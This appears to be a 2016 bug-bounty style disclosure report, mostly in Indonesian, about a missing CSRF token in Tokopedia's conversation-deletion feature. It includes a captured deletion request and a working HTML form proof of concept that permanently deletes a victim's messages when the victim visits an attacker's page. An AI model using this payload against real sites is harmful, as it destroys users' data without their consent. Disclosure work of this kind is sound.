Missing CSRF Token that could Illegally Delete the Conversation August 29 th , 2016 @YoKoAcc ([email protected]) [Indonesian Version]
MissingCSRFTokenthatcouldIllegallyDeletetheConversation
August29th,2016
@YoKoAcc([email protected])
[IndonesianVersion]
MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|2
RevisionDetail
Version Date Detail
0.1 August29th,2016 -
MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|3
TableofContents
RevisionDetail........................................................................................................................................2
TableofContents...................................................................................................................................3
TableofFigures......................................................................................................................................3
I. ABSTRACT..........................................................................................................................................4
II. INTRODUCTION.................................................................................................................................5
III.SUMMARYOFISSUE..........................................................................................................................5
IV.INFORMATIONANDSITUATIONOFTHISPOC...................................................................................5
V. STEPTOREPRODUCE.........................................................................................................................7
VI.ADDITIONALINFORMATION..............................................................................................................8
VII.RECOMMENDATION........................................................................................................................8
VIII.REFERENCES....................................................................................................................................8
TableofFigures
Figure1FiturMengirimPesanpadaTokopedia.....................................................................................4
Figure2SuccessDeletingtheMessageviaCSRF...................................................................................7
MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|4
I. ABSTRACT
Berkirimpesan di dalam transaksi jual belimerupakan suatu hal yang lumrah dilakukan baik oleh
pembeli maupun penjual. Di dalam prosesnya pun masing-masing pihak secara umum memiliki
kecenderunganuntukmenyimpanpercakapanyangpernahdilakukannyabaikuntukalasanbuktidi
kemudianharikelakbilaterjadihalyangtidakdiinginkanataupunatasdasarhalyanglainnya.
Figure1FiturMengirimPesanpadaTokopedia
Akantetapipermasalahanpunmunculketikaprosespenghapusanyangdilakukanolehaplikasidari
Tokopedia belum memberikan perlindungan berupa unique token. Dengan memanfaatkan
kerentanan ini,maka seorangAttacker yangberhasilmembawapengguna kehalamanpalsu yang
ditujuakanmembuatpenggunadimaksuduntukmenghapuspercakapansecaratidaklangsungyang
pernahdilakukansatusamalain(daripenggunakeAttackerataupunsebaliknya).
Sebelumnya kerentanan serupa juga ditemukan pada fitur berkirim pesan, namun kerentanan ini
sendiri telah ditutupi oleh pihak Tokopedia sekitar jam 1 pagi per tanggal 29 Agustus dengan
menambahkanfiturcaptcha.
MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|5
II. INTRODUCTION
Sepertiyangpernahdibahaspadapapersebelumnya,secaraumumCSRFmerupakansuatuserangan
yang“memaksa”seorangpenggunauntukmelakukansesuatuyangpadadasarnya“tidakdiinginkan”
di dalam suatu aplikasi berbasiswebdenganmemanfaatkan keadaan diri korbannya yang sedang
dalamkeadaanmemiliki otorisasi (login).Umumnya serangan jenis ini dapatdimanfaatkankarena
tidakterdapatnyasuatuprosesautentikasidalammelakukansuatuperubahanatautidakterdapatnya
tokenyangunikyangdiberikanizinuntukmemproseshaldimaksud(tokenbersifatunikinibiasanya
diberikansupayapenggunatidaklagidipersulitdenganmengetikankatasandiuntukperubahanyang
tidakterlalusignificant).
DidalamsitusTokopedia,setiapperubahanyangdilakukanolehpenggunabaikitumengubahprofile,
menambahdaftarrekening,menambahdaftaralamat,ataupunmenghapusdaftaryangditambahkan
selalu disertai dengan token yang di-generate secara otomatis oleh sistem. Perbedaannya, ketika
penambahan suatu rekening danmengubah profile, pengguna diharuskanmemasukan kata sandi
ataupunmengirimkanOTPterlebihdahulu.
III. SUMMARYOFISSUE
Sepertiyang telahdisampaikanpadapointsebelumnya,permasalahankeamananpada laporan ini
berkaitan dengan kerentanan yang “mengizinkan” seorang Attacker untuk dapat menghapus
percakapanyangpernahdilakukannyadengankorbandikarenakanbelumterdapatnyaperlindungan
berupauniquetoken.
IV. INFORMATIONANDSITUATIONOFTHISPOC
Untukdapatmemahamidenganbaikakanpermasalahanyangada,padabagianiniakandisampaikan
kembali secara spesifikmengenaibeberapa informasi yangberkaitandenganprosesyangberjalan
secaraumumdariaplikasimaupunakardaripermasalahanyangada.
Tokopediamemilikibeberapahalyangdi-requestmenujuserveruntukdapatmelakukanbeberapa
hal,yaitu:
4.1. action : merupakan parameter yang berisikan mengenai perintah yang ingin dilakukan oleh
seorangpengguna;
4.2. delete_message:merupakanactionyangdigunakanuntukmenghapuspesan.Penghapusanini
tidakpermanensehinggadapatkembalidi-restorebilasuatusaatnantidiperlukan;
MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|6
4.3. delete_forever_message : merupakan action yang digunakan untuk menghapus suatu pesan
secarapermanen;
4.4. data_element : merupakan parameter yang berisikan informasi mengenai nomor inbox ID,
messageID,danletakpesanyangdikirimkanataupunditerimaolehseorangpengguna;
4.5. inbox_id:merupakannomorIDdarisuatuinboxyangberkaitandengansuatupercakapan;
4.6. msg_id :merupakannomor IDdari suatupesanyangdikirimkanyangberkaitandengansuatu
percakapan;
4.7. inbox-message :merupakanparameteryangmenandakanbahwasuatupesanberadadikotak
masuk(inbox);
4.8. inbox-message-sent :merupakanparameter yangmenandakanbahwa suatupesanberadadi
kotak“terkirim”(sentitem).
Adapuncontohrequestyangdikirimkanterkaitprosespenghapusaniniyaitusebagaiberikut:
POST/ajax/inbox/message-eng4.pl?aws=1HTTP/1.1
Host:www.tokopedia.com
User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10.11;rv:48.0)Gecko/20100101Firefox/48.0
Accept:application/json,text/javascript,*/*;q=0.01
Accept-Language:en-US,en;q=0.5
Accept-Encoding:gzip,deflate,br
DNT:1
Content-Type:application/x-www-form-urlencoded;charset=UTF-8
X-Requested-With:XMLHttpRequest
Referer:https://www.tokopedia.com/inbox-message.pl?nav=inbox-message-sent
Content-Length:139
Cookie:someofcookiesvaluehere
action=delete_forever_message&data_element=%7B%22inbox_id%22%3A51488082%2C%22msg_id%22%3A22351566%2C%22nav%22%3A%22inbox-message-sent%22%7D
Table1RequestforDeleting
Tergantung dari pilihan “Attacker” (antara delete_message atau delete_forever_message), suatu
percakapanyangpernahdilakukannyabersamakorbanakandapatterhapusbaiksementaraataupun
permanen.
MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|7
V. STEPTOREPRODUCE
5.1. Temukan terlebih dahulu inbox_id dan msg_id yang di-generate oleh aplikasi berdasarkan
percakapan yang telah dilakukan oleh Attacker dengan korbannya. Dalam hal ini, proses
pencarianakan inbox_iddanmsg_iddapatdilakukandenganmengirimactionpenghapusan
terlebihdahulusepertiyangtelahdisampaikanpadaTable1.
Ketikaprosesinidilakukan,makakitaakanmemperolehisidaridata_elementberupa:
%7B%22inbox_id%22%3A51488082%2C%22msg_id%22%3A22351566%2C%22nav%22%3A%
22inbox-message-sent%22%7Dyangbiladi-decodeakanmenjadi
{"inbox_id":51488082,"msg_id":22351566,"nav":"inbox-message-sent"}
5.2. Langkah berikutnya yang harus dilakukan adalah denganmembuat submit form sederhana
dengan .html yang ketika diklik oleh korban, maka korban ini akan menghapus pesan
percakapanyangdilakukannyadenganAttacker.
<html><body><formaction="https://www.tokopedia.com/ajax/inbox/message-eng4.pl?aws=1"method="POST"><inputtype="hidden"name="action"value="delete_forever_message"/><inputtype="hidden"name="data_element"value='{"inbox_id":51488083,"msg_id":22351566,"nav":"inbox-message"}'/><inputtype="submit"value="Submitrequest"/></form></body></html>
Table2.htmlfilefordeletingtheconversationpermanently
5.3. Setelah itu,Attackerhanyaperlumenunggu korbanmengunjungiURL yang telahdisiapkan.
Perlumenjadi catatan bahwa .html file yang dipersiapkan oleh Attacker tidak hanya dapat
berupa submit button,melainkan juga request otomatis denganmemanfaatkan library dari
jquerydihttp://code.jquery.com/jquery-1.12.1.min.js.
Figure2SuccessDeletingtheMessageviaCSRF
MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|8
VI. ADDITIONALINFORMATION
Untuk dapat memaksimalkan informasi yang disampaikan pada laporan ini, berikut ini terlampir
beberapakondisitambahanyangperludiperhatikan:
6.1. Percakapan yang dapat dihapus hanyalah percakapan yang pernah terjadi denganAttacker.
Dalamhal ini,Attackertidakdapatmenggunakancaraserupauntukmenghapuspercakapan
lainkecualiAttackermengetahuinilaidariinbox_iddanmsg_iddarikorbannya;
6.2. Sebagaimana yang juga terjadi dengan kerentanan Reflected XSS yang pernah disampaikan
pada laporan sebelumnya, keberhasilan dari serangan ini bergantung dari korban yang
terpedayauntukmengunjungisuatuURLyangdidalamnyatelahdisisipkan .html fileseperti
yangtelahdijelaskansebelumnya;
6.3. PoCVideo(UnlistedatYoutube):https://youtu.be/jY4tzuTHlD4
VII. RECOMMENDATION
Dalamhalini,penambahanparametertokenyangbersifatunikdisetiappengirimanactiontertentu
akanmenjadirekomendasiyangdapatditerapkanuntukmenutupikerentananyangada.
VIII. REFERENCES
8.1. PCIDSSv3.2point6.5.9(forCSRF);
8.2. https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF);
8.3. https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)